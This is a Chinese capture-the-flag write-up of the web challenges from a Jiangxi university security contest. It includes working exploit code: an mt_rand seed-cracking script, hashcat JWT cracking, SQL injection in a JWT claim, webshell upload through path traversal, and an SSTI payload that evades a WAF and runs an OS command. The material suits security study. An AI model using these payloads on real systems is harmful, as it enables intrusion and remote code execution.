江西省大学生信息安全技术大赛初赛web部分题解(全)

该文章更新于 2025.01.20

挺难评的

省赛web

openthedoor

拿到账号

img

密码是sysadmin,(可以爆破,但是这题是原题,直接这样吧。

img

bruteforce1_EzLogin

爆破

账号是admin

image-20240922142718851

token

image-20240921212215460

一眼php伪随机数

image-20240921215757084

1
2
3
4
5
6
7
8
9
10
11
12
13
str1='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='R9WLuE5hGV'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

#前两个str(j)代表第一个mt_rand()输出的界限,后两个参数0和str(len(str1)-1)表示传递到 mt_rand()的范围为0到61

image-20240921220805301

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
mt_srand(2107153532);
function createToken(){
$dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$token = '';
for ( $i = 0; $i <20; $i++ ){
$token .= substr($dic,mt_rand(0, strlen($dic) - 1), 1);
}

$_SESSION['token']=$token;
$top10=substr($token,0,10);
echo $top10;
echo "\n";
echo $token;
}
createToken();

image-20240922142636197

image-20240921220521258

caiji

原题,稍微修改了一点。

ctf2024-wastelands/medpod at master · Interlogica-Cybersec/ctf2024-wastelands (github.com)

爆破拿到key

hashcat -m 16500 hash.txt rockyou.txt

image-20240921214852976

伪造jwt

image-20240921215003676

jwt认证sub那里打一个sql注入拿到所有医生uuid

image-20240921214513984

image-20240921215320729

利用扁鹊的uuid拿到flag

image-20240921214456712

tpf

先讲一下docker的情况

是四台主机,暴露了nginx80端口

nginx–thinkphp–flask–mariadb

通过nginx反代,改变http请求的host头可以访问thinkphp和flask,或者10开头的内网地址

image-20240926204036904

先看看flask。(完整源码我放后面了。

image-20240926235306183

由于这里存在before_request,需要tp主机的ip,以及数据库里面的token。所以直接打是不太可能的。

那我们先看tp

thinkphp

webshell

tp嘛,直接看控制器给了什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function new(){

if(get_client_ip() !== "127.0.0.1") {
die("not");
}
$dir = "/tmp/".sha1(get_client_ip());
if(!file_exists($dir)){
mkdir($dir);
}
echo $dir;
}
public function delete()
{
checkDot(I("name"));
$filename = "/tmp/".I("name");
if(file_exists($filename)){
if(is_dir($filename)){
rmdir($filename);
}
else{
unlink($filename);
}
echo "suc";
}
}
public function up()
{
checkDot(I("post.filename"));
var_dump(I("post.filename"));
$file_content = base64_decode(I("post.content"));
$filename = "/tmp/".sha1(get_client_ip())."/".I("post.filename");
file_put_contents($filename,$file_content);
echo $filename;
}
public function mv()
{
checkDot(I("post.filename1"));
rename("/tmp/".I("post.filename1"),"/tmp/".I("post.filename2"));
echo "suc";
}

给了增删改的函数。

由于file_put_contents() 函数会尝试在指定的路径下创建或写入文件,但前提是该路径的所有父级目录都必须存在。如果路径中的任何目录不存在,PHP 将无法创建文件并会返回 false,导致写入失败。

所以我们先要创建一个sha1(get_client_ip())将ip进行sha1加密为名字的文件夹。

image-20240926205650660

然后在tmp目录下写一个一句话木马。

image-20240926205809927

再利用mv函数目录穿越

image-20240926205829506

成功移动到web目录下

image-20240926210138563

一些疑问

这里之所以在mv函数进行目录穿越,是因为mv函数没有对移动后的文件名进行检验。

1
2
3
4
function checkDot($param)
{
if(strpos($param, '..') !== false) die("???");
}

image-20240926210207045

还有一个奇怪的点,我之前在kali里面启动的环境web目录是不可写的。

image-20240926210450802

但是我后来用dockek desktop启动的环境又可写了。怪

image-20240926210529622

信息收集

拿到权限之后,就得挂代理,寻找内网主机了。

这里拿到了tp的ip。

image-20240926233541356

那就差数据库里的token了。

他这个题目也是抽象,三位都是随机的。

image-20240926222437035

由于app.py里面sql语句是参数化查询,想要sql注入是不太可能了。所以现在唯一的办法就是扫ip找到mysql了。(大概。

用docker直接看ip,不想写了,感觉这题有点抽象了

后来想到为什么flask的配置里面没有ip,为什么也能连接呢?发现原来它是通过主机名直接连接数据库,所以题目三个地方都是随机就是防止我们直接找到ip。
那tp估计也已经连接了数据库,我们直接在tp里面写一个数据库操作的函数来查询数据就好了。

image-20240927132105865

利用这个函数成功拿到token。

image-20240927132039980

flask

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import socket

from flask import Flask, request, render_template_string, abort
import mysql.connector
app = Flask(__name__)

db_config = {
'user': 'root',
'password': '123456',
'host': 'mysql',
'database': 'web',
}

def get_db_connection():
return mysql.connector.connect(**db_config)



@app.before_request
def before_request():
php_ip = socket.gethostbyname("php-apache")
if php_ip not in request.headers.get('X-Forwarded-For'):
abort(401)
query = "SELECT token FROM users WHERE token = %s"
token = request.headers.get("token", "")

cnx = get_db_connection()
cursor = cnx.cursor(dictionary=True)
try:
query = "SELECT token FROM users WHERE token = %s"
cursor.execute(query, (token,))
result = cursor.fetchone()
finally:
cursor.close()
cnx.close()
if not result:
abort(401)

data = request.data
if waf(data):
abort(401)


def waf(code):
ban = {b"\\u", b"{{", b"}}", b"{%", b"%}"}
for i in ban:
if i in code:
return True
return False


@app.route('/', methods=["POST"])
def sandbox():
return render_template_string(request.get_json()["code"])


if __name__ == '__main__':
app.run(host="0.0.0.0")

ip以及token我们都拿到了,剩下的利用json会自动转换编码绕过一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://127.0.0.1:23333/"

headers = {
"Host": "flask-app",
"X-Forwarded-For":"10.150.219.156",
"token":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"Content-Type": "application/json"
}

data='{"code":"{{().__class__.__mro__[-1].__subclasses__()[226].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').popen(\'cat /flag\').read()}}"}'.encode("utf16")

response = requests.post(url, headers=headers,data=data)
print(response.text)

结束。

image-20240926225550226